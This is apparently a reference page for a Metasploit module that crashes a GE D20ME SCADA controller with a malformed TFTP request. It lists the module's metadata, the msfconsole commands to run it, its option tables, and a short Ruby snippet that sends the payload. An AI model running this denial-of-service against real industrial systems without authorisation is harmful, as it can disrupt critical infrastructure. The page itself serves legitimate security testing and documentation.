General Electric D20ME TFTP Server Buffer Overflow DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/scada/d20_tftp_overflow metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: General Electric D20ME TFTP Server Buffer Overflow DoS
Module: auxiliary/dos/scada/d20_tftp_overflow
Source code: modules/auxiliary/dos/scada/d20_tftp_overflow.rb
Disclosure date: 2012-01-19
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 69
List of CVEs: -

By sending a malformed TFTP request to the GE D20ME, it is possible to crash the device. This module is based on the original 'd20ftpbo.rb' Basecamp module from DigitalBond.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/scada/d20_tftp_overflow
msf auxiliary(d20_tftp_overflow) > show targets
    ... a list of targets ...
msf auxiliary(d20_tftp_overflow) > set TARGET target-id
msf auxiliary(d20_tftp_overflow) > show options
    ... show and set options ...
msf auxiliary(d20_tftp_overflow) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the dos/scada/d20_tftp_overflow auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/scada/d20_tftp_overflow

msf6 auxiliary(dos/scada/d20_tftp_overflow) > show info

       Name: General Electric D20ME TFTP Server Buffer Overflow DoS
     Module: auxiliary/dos/scada/d20_tftp_overflow
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-19

Provided by:
  K. Reid Wightman <[email protected]>
  todb <[email protected]>

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  LHOST                          no        The local IP address to bind to
  RECV_TIMEOUT  3                no        Time (in seconds) to wait between packets
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         69               yes       The target port (UDP)

Description:
  By sending a malformed TFTP request to the GE D20ME, it is possible 
  to crash the device. This module is based on the original 
  'd20ftpbo.rb' Basecamp module from DigitalBond.

References:
  http://www.digitalbond.com/tools/basecamp/metasploit-modules/

Module Options


This is a complete list of options available in the dos/scada/d20_tftp_overflow auxiliary module:

msf6 auxiliary(dos/scada/d20_tftp_overflow) > show options

Module options (auxiliary/dos/scada/d20_tftp_overflow):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   LHOST                          no        The local IP address to bind to
   RECV_TIMEOUT  3                no        Time (in seconds) to wait between packets
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         69               yes       The target port (UDP)

Advanced Options


Here is a complete list of advanced options supported by the dos/scada/d20_tftp_overflow auxiliary module:

msf6 auxiliary(dos/scada/d20_tftp_overflow) > show advanced

Module advanced options (auxiliary/dos/scada/d20_tftp_overflow):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/scada/d20_tftp_overflow module can do:

msf6 auxiliary(dos/scada/d20_tftp_overflow) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/scada/d20_tftp_overflow auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/scada/d20_tftp_overflow) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - TFTP - No response from the target, aborting.


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - TFTP - No response from the target, aborting." error message:

59:	    udp_sock.sendto(payload, rhost, rport)
60:	    recv = udp_sock.timed_read(65535, recv_timeout)
61:	    if recv and recv.size > 0
62:	      udp_sock.sendto(payload, rhost, rport)
63:	    else
64:	      print_error "#{rhost}:#{rport} - TFTP - No response from the target, aborting."
65:	      return
66:	    end
67:	    print_good "#{rhost}:#{rport} - TFTP - DoS complete, the D20 should fault after a timeout."
68:	  end
69:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • K. Reid Wightman <wightman[at]digitalbond.com>
  • todb

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.